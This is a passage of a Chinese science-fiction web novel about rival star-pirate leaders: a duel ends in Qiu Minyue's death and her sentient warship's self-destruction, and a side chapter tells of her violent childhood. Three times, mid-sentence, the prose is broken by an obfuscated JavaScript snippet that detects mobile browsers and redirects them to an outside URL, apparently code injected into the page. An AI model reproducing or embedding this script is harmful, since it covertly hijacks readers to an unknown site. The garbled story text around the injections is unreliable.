秋泯樾站在【永恒星】的最高处,SS+的精神力瞬间展开,与此同时她的精神力幻形也在身后显现。 那是一只颜色诡异,体型细长但身躯足够庞大的蜂类。 两对形如弯刀般锋利的透明翅翼立在拥有条状花纹的背部,伴随着翅膀不断震动。 巨蜂体内粘稠的血液不断打进透明翅翼错综复杂的血脉中,诡异骇人。冰冷又具有光泽感的腥红复眼敌视地俯视着周围的一切。 它的虚影几乎完全笼罩【永恒星】主舰。 而【永恒星】的主舰是一艘君主级战舰,体积堪比一颗大小属于中等偏上的恒星。 “这个波动和影响力……” “SS+精神力幻形!变异蜂王!!!” 即使相隔数千万公里,所有记者依旧被这一幕死死威慑,不得动弹。 同时他们对【猎途座】首领的精神力幻形,期待值拔高了不止一星半点。 营地中,少数人目眦欲裂地看着这一幕—— “该死!居然是蜂王…我要立刻把这个消息告诉集会高层!” 中年人在迁跃舰内焦躁地来回踱步:“秋泯樾一旦活着,绝对是一个大麻烦!!” 比起晶体集会暗探伪装的记者,大部分职业记者更加关心:如今【永恒星】的首领秋泯樾被逼到亲自下场,甚至不惜自爆等级和精神力幻形。 【猎途座】又会作何反应? 是缴械投降亦或选择死战到底? 他们又是否有缘借机一览【猎途座】首领精神力幻形的真容? * 和记者们的猜测大有不同。坐在歼星舰中,段心慈并没有在众人面前放出精神力幻形的打算。 至少目前没有。 比起#【猎途座】首领精神力幻形真容至今成谜,她更不乐意在娱乐头条上看到类似于: #惊!【猎途座】首领精神力幻形居然是只猫…… 这样令猎豹绝望的版块。 那些新闻行业从事者永远分不清雪狼和萨摩耶的区别,她不认为换成猫科动物就能幸免于难。 想到这里她更加坚定在成年前绝不对外显露自己精神力幻形的念头,说到底inK和自己不一样…… 她的精神体虽说不排斥杀戮,却也绝对算不上享受。 ‘弗瑞黎带中被埋下的三万吨STA,这样的变数和威胁……’ 透过歼星舰的舷窗段心慈能清楚看见【永恒星】的舰队已经出动,过不了多久两方就要开始交战。 少年不再犹豫,按下连接法尔那边的通讯频道。不到半秒通讯仪就被接通,传来法尔的声音:“首领,有什么指令?” “把秋泯樾的星舰频道强制对我开放。” “收到。” 法尔没有问段心慈原由,而是直接照办。大事上他从不拖沓。 三分钟后,段心慈的通讯提示出现在秋泯樾的歼星舰上。 秋泯樾刚坐进自己的歼星舰喝下一口红茶,驾驶座还没捂热就看见显示屏上【猎途座】来电的小红点,她差点把茶水吐出来。 “这不是【猎途座】的首领吗?半夜通讯,如果是需要失眠的药方,我可以推荐。” ‘至于有没有机会用又关我什么事?’ “我知道你带人在弗瑞黎带埋下了3万吨炸药。” 段心慈并不打算说客套话:“也知道开战时间被【永恒星】单方面提前。” “嗯,所以呢?” 秋泯樾又抿了一口红茶:“总不会真要跑去星海阁楼大哭大闹吧?” “…星云#9的威力我们都知道,你是打算把自己人也一起炸死?”段心慈眉心紧蹙。 “哈?你在说什么天真话?不小心炸死几只苍蝇也是很正常的吧?” 秋泯樾嗤笑:“还是说这是【猎途座】首领的战前假慈悲仪式?” ‘……’ “秋首领,看窗外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509237|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 通讯频道中,段心慈有些模糊的喑哑声线响起。 秋泯樾皱眉,她并不觉得段心慈此刻还能带给自己什么‘惊喜’。 但为了难得的夜间陪聊,她还是极为配合地将视线上移,看向窗外。 然后她就看到一艘银黑色的歼星舰。 拖着如血液鲜红的尾焰,宛若一团流动的染血水银骤然出现在秋泯樾的视野中。 银黑歼星舰的速度太快,离弦之箭已经不足以形容它的速度。 像是一颗强悍的彗星,用无可匹敌的速度单枪匹马地闯进【永恒星】地盘,所到之处其余星舰皆是退避。 来人拥有极为高超的驾驶技巧,星舰像一只上下翻飞的破空黑鸟,不过瞬息已经抵达秋泯樾眼下。 并且毫无停下的趋势。 依照这样的驾驶速度,不出半分钟……两舰相撞。 秋泯樾瞳孔骤缩:‘这是哪里来的疯子?’ 她余光扫过通讯频道,却发现段心慈不知何时已经断开链接。 “该死!” 秋泯樾彻底被激怒。 她拉下歼星舰的启动栏杆,目光阴沉:“要撞是吗?那就如你所愿!” 原本30秒的进程,在秋泯樾启动歼星舰后,生生缩短至原本的一半。 底下的人看见秋泯樾不躲反迎,纷纷吓得瑟瑟发抖。 两舰相撞的倒数3秒。 段心慈难得平静。而秋泯樾几近疯狂。 倒数2秒。 在舰体急速相撞之前,剧烈的罡风使得两艘歼星舰的舷窗率先支撑不住。 窗框发出刺耳的可怖声音。窗上爬满缝隙裂痕。 段心慈和秋泯樾的右手同时搭上操纵杆。 倒数1秒。 段心慈将操纵杆前推到顶,银黑的歼星舰猛然提速。 银黑色的舰体在秋泯樾眼前不断放大,放大。 许多事在尚未发生之前,哪怕在心中演练千次万次,不到真正面临时,人永远无法知道自己究竟会做出什么样的抉择。 就比如此时的秋泯樾。 抓紧操纵杆的手心冰冷潮湿,她做出一个在自己过往所有设想里都未曾出现过的决定。 手中的操纵杆被轻轻推动。 在下方众人惊愕的目光中,代表【永恒星】首领的那艘赤色星舰骤然提速—— ‘疯了,真是疯了。’ ‘她们这是要干什么?同归于尽吗?’ 这一刻,秋泯樾如释重负。 另一艘星舰里,段心慈神色冷淡。 下一秒,舰体相撞。 刺耳的撞击声,火花四溅,高温促使舰体头部的金属完全融化,诡异的液态金属漂浮在空中,又因【永恒星】产生的引力向下坠落。 在舰体爆炸的前一秒。段心慈踹开舱门从破损的舰体利落跃出,矫健的身躯跃上一颗就近的小型陨石。 那双墨灰虹膜透着漠然,不似活物。 另一边,秋泯樾徒手撕开舰体由于撞击而变形扭曲导致无法打开的金属门。将即将爆炸的歼星舰用强悍的臂力直接扔出后同样跳上一块近处悬浮的陨石。 随意抹去额头上不断下淌的血液,秋泯樾看向段心慈的目光格外阴鸷。 SS级被动天赋二:无视真空。 宇宙中为数不多的双S阶怪物,今夜的弗瑞黎带上有两个。 两人对视,秋泯樾率先扬起一个挑衅的讽笑:“原来大名鼎鼎的【猎途座】杀戮暴君,还处在幼年期啊……” “这样看不肯显露精神力幻形也情有可原。” 段心慈微微抬眼,远处蜂王庞大的身躯依旧笼罩在【永恒星】主舰上方。 像一片不散的阴翳。 历经数万年的进化,眼前这只骇人的庞然大物早已失去了其远在本源星的祖先所承担的族群孕育责任—— 只剩下【操控】这项骇人听闻的能力,并在专精这项能力的道路上一路狂奔。 “明明是蜂王,蜂巢里全苍蝇的滋味很不好受吧。” 少年眼瞳里流露出一丝挑衅的意味。 10. 吻别 秋泯樾瞬间面沉如水。 段心慈没有否认她就是杀戮暴君本人这件事。 作为精神力SS+的一员,对秋泯樾来说看穿一个人的骨龄不是难事。 14岁的SS阶已经足够恐怖,要是再加上【猎途座】首领的身份… 更别提对方在Z区的地位绝对不低。 她要杀死段心慈,就在这里。 杀意陡生,秋泯樾没有半点犹豫抽出一直别在后腰上的炮筒,朝段心慈所在的方向一连发射三枚炮弹。 于而言躲避三枚炮弹并不是难事。 但秋泯樾的目标从一开始就不是段心慈—— 能打中更好,而打不中…… 看着因为脚下陨石被炮弹击碎瓦解而向下坠落的人,秋泯樾瞄准段心慈所在的位置,再次发射一枚炮弹。 然而,瞄准镜中段心慈的身形骤然消失。 青年身后传来一阵微不可察的气流波动。她立刻侧身闪避,堪堪错过段心慈挥向后心的刀刃。 刀刃斩断了几缕发丝,秋泯樾后背不禁生起寒意:‘究竟是什么时候……’ 能在那样的情形下瞬移出现在自己身后,杀戮暴君的攻击方式多半偏向敏攻。 段心慈根本不给秋泯樾多余的思考时间。她如矫健的猎豹原地跃起,寒凉的双目中混杂充满杀意的血性。 至上而下劈砍的一刀紧随而至。 秋泯樾试图和段心慈拉开距离再次发射炮弹,但对面少年的身法极快,想要拉开距离并不是简单的事。 她抬起双掌正面接下劈砍而下的匕首,段心慈顿感受阻。急忙在空中临时调转方向,腰腹用劲在空中扭转身形顺势落到秋泯樾身后。 再次对准的脖颈处横向挥出一刀。 秋泯樾转过身,眼中杀气暴涨,她大力拽过段心慈的手臂,将手中的躯体生生甩出,才终于再次拉出一段距离。 段心慈借力降落在另一颗陨石上,她单手撑地,在惯性的冲击下滑行出一段足有数百公里的距离。 五指在陨石表面拉出深深的沟壑,临近边缘才终于停下。 右肩上传来的剧烈阵痛明明白白地告诉段心慈,她的胳膊在秋泯樾方才的一击下脱臼,甚至可能伴随骨裂。 段心慈眼睛一眨不眨,直接用尚且完好的左手将右肩熟练掰正。那双灰暗的眼珠里带上不顾一切的疯狂。 秋泯樾不禁怀疑这副人类躯壳中究竟是不是蕴藏了一只星海异兽的灵魂? ‘该死!这样打根本就是没完没了!’ 不等对方再次发动攻击,秋泯樾提醒道:“你不会忘了,还有三万吨星云#9埋在弗瑞黎吧?” “…你要怎样?” 段心慈声音冷淡。 秋泯樾心下一松,能交谈就好。她真怕对方杀上瘾,不顾【猎途座】舰队的死活也要在这里同自己决一死战。 事已至此她也知道,想要在这里单枪匹马干掉段心慈,这位杀戮暴君。难度不是一般的大。倒不如回到【永恒星】再做打算。 秋泯樾:“我们谈…”和? “不管你要谈什么,我都会拒绝的。” 段心慈难得幽默一次。 很显然,这片空间中唯二的活人并不能得到她的幽默。 “你耍我??!” 秋泯樾正欲发射最后一枚炮弹,却见段心慈抬起左手。 与此同时,弗瑞黎带。 无数外表酷似陨石的巨大炸弹颤抖着,脱离它们原有的轨道,向同一个方向急速飞去。 引得战争中的人们频频注视。 “你……!” 不对,她也是SS+,这分明不是双S阶能够拥有的能力! 三万吨炸弹同时爆炸是怎样的景象,饶是秋泯樾也从未这样设想过。 按照她的计划,这些炸弹应该是在原有的轨道上,按部就班一个接一个爆炸。而不是像现在这样—— 那些炸弹飞到段心慈所在的位置,齐齐爆炸,所发出的能量仅次于一颗星球的毁灭。 处于爆炸下方的人却仅仅吐出一口混着内脏碎块的血…… 段心慈咧开唇角,对着秋泯樾露出她白森森的牙齿。那是一个充满血腥的笑:“托你的福。我在3分56秒前进阶了。” SS+进阶…那就是—— 3S阶。 秋泯樾感到喉管涌上一股血腥。 作为SS+阶级,秋泯樾所拥有的力量绝非空谈。她赤手空拳的全力一击甚至足以打爆一颗质量体积均为最高的行星,并且这对她来说并不是难事。 她方才也的确是这样向段心慈出手的。只可惜那些攻击不是被躲了过去,就是堪堪擦过,造不成多大的伤害。 毕竟SS+的肉身强度足以正面硬抗歼星炮。 即便如此她也并未失去多少信心,在同为SS+的情况下她们最坏的结局也不过是打上十天半个月,最后双方一同力竭而死。 但这一切的一切,都是建立在,其中一方没有在战斗中进阶的情况下。 在秋泯樾惊骇的注视下,段心慈五指缓缓收拢—— 原本体积庞大,内部蕴含的能量同处在壮年期的恒星别无二致的白炽光团,就在她的力量下被生生压缩,压缩,再压缩。 直到最后变为一颗芝麻大小,气息却更加纯粹恐怖的纯白空洞。 段心慈的左手此刻已经变得鲜血淋漓,皮肉开裂烧糊的滋味并不好受。 但她并没有停下自己的动作。伴随着最后的力量施加,一阵威压极重的环形波在宇宙中荡开,引起视觉上空间扭曲的效果。 在力量的极度压缩下,段心慈将3万吨星云#9爆炸的威能降到最低,对力量的精准把控使得冲击波甚至没有影响到不远处的战场。 在远处的人们只能看到刺目的光芒,却不会受到任何伤害。 尽管知道自己就要迎来死亡的结局,见此情形秋泯樾还是忍不住露出极为慊恶的神情。 她不明白,出身Z区,身为【猎途座】的首领杀戮暴君,精神力高达SSS阶,同时即将成为星盗这一群体的无冕之王… 段心慈到底哪里来得那么多,毫无必要,令人作呕得怜悯心…… 秋泯樾自认有被恶心到。 她当然知道对面并不是在装模作样,但正因如此她才更加感到不适。 段心慈这时却罕见地陷入迟疑中,这无疑是十分致命的。蜂王的全力一击裹挟巨大的力量悍然砸下。 秋泯樾早已在心中做好被SSS阶威压生生按死的准备,但预想中,颇为屈辱的死法并没有出现。 她能感受到自己的拳头结结实实地砸在□□上的触感,秋泯樾惊愕地抬起头,首先看到的是段心慈交叉护在胸前的双臂,再向上…… 秋泯樾的视线撞上进一双晦暗瞳仁。 在那双许是因为瞳色而略显空洞的眼睛里,她看到双眼的主人都不曾注意到的那份痛苦—— ‘你在痛苦什么呢?’ ‘明明什么都拥有了。胜利者。’ ‘可是那双眼睛里,写满了一无所有。’ ‘真是奇怪啊…’ 秋泯樾声音艰涩:“没必要。我和那些蝼蚁不同,我不需要……” ‘这样的怜悯,我不要。’ 段心慈闻言点了点头,出手的招式越发狠戾,但她依旧没有使用3S阶的精神力。 隐约间,秋泯樾似乎领悟。对段心慈而言,这种‘正义’不是出于对他者的怜悯,而是……出于对其自我内心的极度尊崇。 ‘绝对自我。’ ‘这样的人…哈……哈哈哈……这样的人!’ “疯子!”秋泯樾狠狠骂道,眼中却亮起光。 ‘死在这人手里,我不亏!’ 段心慈对秋泯樾的评价无动于衷,她的每一招,每一式都是奔着取人性命去的。 终于在第三千七百二十一个回合,秋泯樾战败。 段心慈手中的匕首从正面捅进秋泯樾的心脏,代价是先前复位的右臂从肩胛骨处被彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509238|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底打碎,如今极为不自然地垂落在身侧。 就算是秋泯樾的力量的确远胜段心慈。所以在她看见段心慈手中的匕首扎透自己的心脏,连同身下的陨石也被扎穿崩裂时不禁有些讶异。 好吧,秋泯樾承认是她刻板印象了。 早在段心慈接下自己全力一拳的时候她就该知道杀戮暴君的力道也不差。 不断下坠的失重感里,心脏被捅了个对穿的痛楚越发明晰,秋泯樾心绪却难得平和。 她这一生中很少有时间静下心来,认真回顾些什么。仔细想想,这辈子短短三十九年秋泯樾并不遗憾。 挥金如土的事她秋泯樾做过;滥用权力的事她秋泯樾做过;杀父弑母的事她秋泯樾做过;欺女霸男的事,没错,她秋泯樾还是做过。 所以,落到现在这个地步,她不怨任何人。 只是…… ‘咚——’! □□撞击金属的声音格外沉闷。 【永恒星】舰体的外骨骼合金甲板被生生砸出一个凹陷的深坑。 在这样的力度下,秋泯樾不可能活下来。 那些原本停留在甲板上的人,见到身为SS+的首领居然落得这样下场,纷纷吓得如鸟兽散,无一人敢于上前。 秋泯樾也完全不在乎那些在她眼中货真价实的苍蝇是如何哀叫奔逃,弃她而去的。 意识逐渐变得恍惚,眼前也不再能看得清,一切都变得黑暗模糊。 她就要死了。 在意识与生机彻底消散前,秋泯樾在这个世界上最后能够见到的颜色是一双银白的无机质眼瞳。 ‘死不足惜的蠢货。’ 秋泯樾用尽最后的力量在心中骂道。 ‘为什么不像其他人一样逃跑呢?’ ‘明明你是…我唯一想要看着活下去的……’ 段心慈听到有人在自己身后站定。 她回过身,抬头正对上一张美丽温顺的面容。 “……?” 在段心慈无数设想里,没有一条是‘杀死秋泯樾后和她的恋人面对面’诸如此类的选项。 少年有些警惕地向后侧方退了一步。 ‘俯身,爱人冰冷的身躯就能被抱进怀里。’ ‘爱人活着的时候无法亲近,却在她死后轻易触碰。’ 青年内心仿佛千刀万剐,但面上仍旧是温顺平静。 秋泯樾体型高大,因此拥抱的姿势算得上怪异,但紧紧抱着的手始终没有抖过一次。 那把还插在秋泯樾心脏中的匕首被小心地取出,没有添加半分伤势。 良久,他终于看向段心慈所在的方向:“……” 尽管知道对方的真实身份,但对于杀死爱人的凶手,他无法给出半分好脸色。 “…带走你的武器,立刻离开这里。” “不要回头。这是警告。” 匕首被甩出,深深扎进远处坚固的金属门框中。 段心慈的心脏闷闷地跳动一瞬。 她一言不发地走向门口,抽出嵌进门框匕首,静默地离开。 就在段心慈走出【永恒星】的下一刻,巨大的爆炸席卷了【永恒星】的舰体。 她猛地一惊,下意识回过头—— 上一秒庞大而辉煌的银白色巨舰在这个瞬间只剩下坍塌的废墟,以及火海地狱般的景象。 是一颗灼灼燃烧的恒星,在死亡前最后的哀鸣。 她隔着绚烂颓靡的火光,望见至死不曾松开过手的拥抱,以及单方面一触即离的吻。 “……” ‘人生而无知,我也不过是……’ ‘心甘情愿走在那条固执的道路上。’ 恍惚间,她忆起曾有那么一个人,破开胸膛只为将自己的心脏赠予她。 她们肉身与灵魂融为一体,此后再无回转。 段心慈踉跄地扶住额头,沾满鲜血的手温冷而潮湿,遮不住那双眼里的绝望:“…我……究竟是谁?” ‘我到底遗忘了什么?’ 11. 秋月泯樾 若世上总有什么不能宣之于口: 那便是,我爱你。(秋泯樾番外) “樾樾?” 女人的声线温柔甜美带着慈爱,她拍拍自己身前的位置:“到我这里来。” “……” 秋泯樾那紫水晶般的双瞳望向母亲。 “为什么不听话?” 秋孟的声音依旧是甜美温柔的,秋泯樾却不寒而栗。 蜂巢中只能有一个王。 这是铁律。 秋泯樾还是走向秋孟。 她想,自己违背了本能。 ‘母亲,会爱我吗?’ ‘爱我吧,我可以不做蜂王。’ 秋孟的手扼住秋泯樾稚嫩柔软的脖颈:“我的好孩子。” 秋泯樾没有挣扎。 母亲的手是温暖的。 ‘如果这是爱,不要松开手。’ 秋孟还是松手了。 少年秋泯樾被摔在地上,她抬起头,那双和母亲如出一辙的眼睛直直盯着秋孟。 ‘您不该松手的。’ 很多年前,秋泯樾的双亲都并非星盗。 她的母亲,秋孟,本是首都星上红极一时的紫玫瑰,最有名的歌唱家。她的演唱会一票千金难求。 她的父亲,穆法·埃利弗,是首都星上一位同样名气不小的画家,被业内同行誉为神眷之手。 两位梦幻理想主义者在一场奢华的舞会上相识。 或许如同所有爱情篇章来开序幕时一样,他们被彼此的灵魂吸引,迅速坠入爱河,订下一生的誓言。 成为人人艳羡的神仙眷侣。 ‘如果一切到这里就结束,那样就好了……’ 秋泯樾这样想到。 绚烂的至极之爱掩盖了二人皮肉下的腐朽骨血。 结缗后的第二年,他们共同抽一小管血,秋泯樾就从那管血中诞生。 结缗后的第十二年,那是一个昏暗的清晨。 秋泯樾想她大概永远不可能忘记那一幕—— 母亲还是那样美丽,温柔,缱绻。 秋孟如一株攀附的植物,浅笑着站在爱人的身后。 手中的餐刀却横在穆法·埃利弗的脖颈,有血从伤口处渗出。 穆法·埃利弗依旧是从容俊朗的。 他手中的餐叉却对准了秋孟的眼球,再往前一分,秋孟就会失去一只眼。 两个理想主义的疯子,在短暂的爱恋消失后,各自露出内里腐烂发臭的灵魂。 在发现爱人是同样高明的欺诈师后,浓郁的仇恨里夹杂着谁也看不懂的狂喜。 秋泯樾趴在沙发上,带着婴儿肥的腮帮抵在扶手上。 女孩歪头看着这一幕,她想:‘这就是爱吗?’ ‘若一切都止步于这一幕,或许也算得上完美。’ 恨意变成透明的液体自秋泯樾眼眶中溢出。 秋孟与穆法·埃利弗二人如同抵死纠葛的飞鸟,尾羽缠绕,利爪攀抓,势必要带着伴侣坠落进永恒深渊的怀抱。 他们拒绝张开双翼,即便早已知晓结局。 没人愿意做那个展翼冲向高天的,活下来的‘输家’。 秋孟的演唱会频出意外,她从高台上跌下。 而穆法·埃利弗也在一次车祸中不幸折断双手。 秋泯樾不曾觉察到家中的异常。或者说,一切在她眼中都没有什么不对。 双亲依旧是恩爱的,纠缠致死的爱侣。 她是活在幸福家庭中的孩子。 ‘若我能被欺瞒一生,或许也没什么不好。’ ‘为什么不愿意再欺骗我了呢?父亲?’ 回忆之外的秋泯樾站起身,她握紧手中的枪。 在这场相爱游戏中,率先支撑不住的人是穆法·埃利弗。 那是一个午后。 秋泯樾拿着勺子,正小心翼翼地挖下一块巧克力奶酪挞。 ‘哐铛——’一声,别墅大门被推开的声音打破安静。 光束洒进昏暗的室内,秋泯樾眯了眯眼睛。 穆法·埃利弗从大门走进。失去双手的男人越发暴躁。就在这时,他注意到秋泯樾的那双同爱人如出一辙的双眼。 恶意翻滚间,穆法·埃利弗想,这个家里,不该有幸福的人。 这样才是最完美的状态。 他走向秋泯樾。 越是靠近,越是明白这个孩子骨子里流淌的是和他们一样的血。 这个认知让他颤栗又兴奋。 “樾樾,你知道吗?” 秋泯樾歪了歪脑袋。 “你是个怪物。” 穆法·埃利弗的话语如同一把锋利的刀,看着秋泯樾睁大的双眼他越发满意:“其他的孩子,可不像你一样。” 说着,他一脚踹在秋泯樾所站的凳子上。 凳子倒下,秋泯樾狼狈地摔落在地面上。巧克力奶酪挞也从桌面滚落。 深色的巧克力蹭脏了秋泯樾身上的裙子。 秋泯樾抬眼,那双漂亮的紫水晶般的双眼盯着眼前的人。 在那双清亮的眼中,穆法·埃利弗看见自己早已失去往日从容优雅的狰狞面容。 他顿了顿,失去继续折磨秋泯樾的兴趣,最后颓丧一言不发地回到卧室。 晚上秋孟回家,见到一身狼藉的秋泯樾头回发了很大的火。 “穆法,你太让我失望了。” 秋孟戾气十足:“我本以为你会继续选择和我作对,但现在看来,你不过是一个早就已经失去自我的废物。” “我们或许该离缗了。” 穆法·埃利弗听到秋孟问责的话语,彻底崩溃地嘶吼道:“难道我没有真心爱过你?” “你这个疯子!这场游戏的序幕难道不是我们二人共同决定拉开的?!凭什么!” “凭什么你秋孟说结束就结束!” 秋孟扯过秋泯樾的手拉至身后,她居高临下,坚硬的鞋底碾过穆法·埃利弗的手背:“就凭你、穆法·埃利弗是这场游戏的输家。” “……秋孟!你好狠!” 穆法·埃利弗眼角滑过一丝泪滴:“我们一起死吧!” 说着,他抓起手中的刀就向秋孟刺去:“秋孟!我知道,你根本没有玩腻这场游戏!” “你是因为她吧!因为我伤害了她!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509239|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 秋孟没有回答,闪身躲过这一刀。 “我保证,我再也不会伤害我们的孩子了!只要你不和我离缗!我绝对不会再犯的!!我会做一个好父亲!我会爱你们的!” 秋孟叹息:“我想你根本没有明白。有些事仅有一次就已经足够。” “你的灵魂已经不再是当初那个我爱的人了。” 说着,她毫不留情地走向别墅的大门。 穆法·埃利弗咬紧了牙:“是你逼我的!” “是你逼我的!秋孟!!!” ‘如果我们是一对普通相爱的眷侣,该有多好?’ ‘那我们的孩子,也会幸福吧……’ “秋孟。你再离开这里一步。这栋别墅就会爆炸。” “你的实力我当然清楚!但你能确保——我、们、的、孩、子、不会受伤吗!” 秋孟踏出门的脚步停下。 穆法·埃利弗惨淡一笑。 事到如今他说什么,结局都不会改变… ‘但是,秋孟!你也休想清清白白地从这里离开。’ “只有一个办法,你可以离开这里。” 穆法·埃利弗浅色的眼眸里绝望与欣喜交织:“杀了我。” ‘手上沾满我的血吧。’ “只要杀了我,你就能带着孩子安然离开这里。而我绝不会反抗!” 秋孟回过头:“不愿意承担失败的结局,所以宁愿死于我手吗?” “秋孟,你的言语撼动不了我!” 穆法·埃利弗似哭似笑:“杀了我。” ‘用你的爱,你的恨。用任何你所拥有的感情……’ “我不会杀你。” 秋孟笑了,她总是那样得体,温柔又美丽。 她俯下身声音轻柔:“妈妈的乖孩子。” 温热馨香的气息靠下来,秋泯樾能感受到冰冷坚硬的金属被母亲塞进自己的手中。 她低下头,看见一把手枪。 “你会替妈妈处理掉,因你而起的纷争的,对吗?” 母亲温柔的低声蛊惑附着在秋泯樾耳畔,少年看着手里的枪支一言不发。 “秋孟!你不能这样对我!” 穆法·埃利弗用手肘撑着身躯,神色慌乱地连连后退。 回忆里,十岁的秋泯樾感受着母亲指尖死死扣住自己的肩膀,对准父亲的眉心缓缓抬枪。 ‘是母亲的蜂王在操控我吗?’ 秋泯樾不知道。 ‘但愿这是一个温暖的家……’ ‘但愿我们又都爱着……’ 回忆外,二十岁的秋泯樾手中枪支亦如十年前对准父亲那样,对准母亲离去的背影。 ‘砰——!’ 枪声过后,血花四溅。 父亲死不瞑目的身影与母亲缓缓倒下的躯体在某个瞬间重叠。 耳边蜂王振翅的嗡鸣响彻整座战舰。 是同一把枪吗? 秋泯樾记不得。 青年时代的她走向前,触及母亲冷却的身躯以及面庞的温柔笑意。 正如少年时光终结时,父亲缓缓倒下,脸上最后一刻的释然。 12. 僭越 伴随秋泯樾的死亡,「蜂王」也消弥在茫茫真空宇宙中。 【永恒星】自爆这幕过于震撼,那些记者简直不敢相信自己的眼睛—— 这可是一艘君主级战舰。【猎途座】这一出手,不仅杀死秋泯樾,就连【永恒星】都没有放过?! ‘……况且距离战争打响,这才过去多久!’ 那些记者望着表盘上的[04:59],很难不去怀疑【猎途座】首领有刻意报复的心理存在。 如果段心慈知道这些人在想什么,大概会觉得过于无厘头。毕竟她没有一边玩命打架一边掐秒表的怪习惯。 伴随一方首领死亡,战场上呈现出一边倒的局势。 明眼人都能看出战局已定,【猎途座】必胜无疑。 混迹在记者中的晶体集会暗探面色青白。 现在这些人宁愿秋泯樾还活着。 而不是眼睁睁看着这样一艘恢弘庞大的杀戮机器在众目睽睽下…声名鹊起。 * 段心慈回到战舰,迎接她的人是江灯。 在最一开始段心慈离开【猎途座】飞行跑道时,在看到歼星舰身后拖着的猩红尾焰一瞬,江灯就知道大事不妙—— 光顾着警告新人,忘了【猎途座】最没分寸的却是【猎途座】的首领。 江灯记得自己大喊‘禁止使用精神力链接星舰’的时候,段心慈就在不远处路过吧…! 可她又能说什么呢?她为他们带来了胜利。 只不过要付出的是一人淋漓的鲜血,而这在战争中已经算的上极微小的代价。 粗略地扫上一眼江灯就能看出,段心慈身上的伤至少有右臂粉碎性骨折,肋骨断了两根,左手大面积烧伤露出森森白骨,额头上还在往下淌血…… 江灯从没有像现在这样痛恨自己的无能。 “不去修复仓?” “没必要。” 修复仓的工作原理是通过修复精神力对□□伤害同步治愈。在精神病治好之前,段心慈心知自己无论如何都不能进入修复仓。 江灯顿了顿,最后叹气道:“好吧,还是医疗室。” “……死者数量?”少年抬头问她。 江灯感觉有些头疼,她很想说:‘你结束的这么快压根没来得及死人’。 但这么说,有种她很希望死人的感觉…自认心理还没有这么扭曲,她答道:“死者数量为0。” “对方呢?” 段心慈追问。 江灯叹了口气:“……【永恒星】自爆,很多人没能活下去。” “你守护不了所有人。战争就是在不断死人。这很正常。” “……” ‘……不。这不正常。’ 段心慈无言垂首。 极致的沉默里二人走进医疗室。 当最后一圈纱布被医疗机器人仔细整齐地缠绕在段心慈手上,江灯松了一口气:“那我们现在终于可以处理琼了?” “是,他还是太心急,给出了错误的情报。” 段心慈眼帘低垂,观察着手上的纱布:“从来都不是什么‘仿生情人’这样听起来无足轻重的角色。而是……” “……【永恒星】。” 江灯深褐色的双眼瞬间睁大,她几近失声:“【永恒星】?!” 【永恒星】……居然是【永恒星】?! 比起这艘君主级战舰居然诞生出自我意识,爱上自己的主人甚至不惜为此屈居于仿生人的躯壳—— 江灯不知道是该先庆幸段心慈能够活着回来,毕竟那可是一艘君主级别的战舰。 还是该担忧【猎途座】会不会也诞生出自我意识,毕竟【猎途座】和【永恒星】同为君主战舰—— 最后她认为这一切都是琼这个罪魁祸首的错! 该死的集会卧底! 而在另一处—— 琼紧紧咬着牙关,通讯器的光屏快要被他戳出一个窟窿。 ‘段心慈怎么会活着回来!不是说过秋泯樾和【永恒星】一定能联手杀死她吗!’ 不在设想中的刺目红色感叹号占据了整块光屏,鲜艳的色块不断刺激着琼的神经。 ‘您已被该用户移除通讯名单,你们现在还不是好友。(请加上好友后再聊吧~)’ “我*你双亲的!” 琼将通讯器狠狠扔出,金属砸在过道地面,折出尖锐的冷光。 他扶着墙大口喘着粗气:‘现在该怎么办?’ ‘【猎途座】的首领又不是傻子!难道我就要在这里认命等死?!’ “这不是琼吗?还从来没见过你这么暴躁的样子呢~” 法尔·艾莫什不知从哪里冒出,语气欢快地调侃道。 ‘只敢用恶毒言语殃及无辜之人的懦夫。’他在心中鄙夷。 “……” ‘现在还不确定是不是……所有人都知道我是卧底。’ 琼告诫自己:‘……要冷静,不能自乱阵脚。’ 思及此,他对着对面的人挤出一个勉强的笑:“好久不见,艾莫什。” “哎呀!也没有很久没见。我们早上在会议室见过面的,你忘了?” 法尔挠头:“不是我说,琼,你的时间观念好像不是很好哦。” ‘…艾莫什这话什么意思,是在告诉自己现在逃跑已经为时太晚吗……’ ‘不,不要想太多……’ ‘一定是我草木皆兵了。’ 琼慌乱中抬起头,看向法尔·艾莫什。 在【猎途座】上不算段心慈,琼最害怕的人并非江灯,而是法尔·艾莫什。 他一直打心底里认为法尔那双眼珠看起来充满无厘头的杀意。 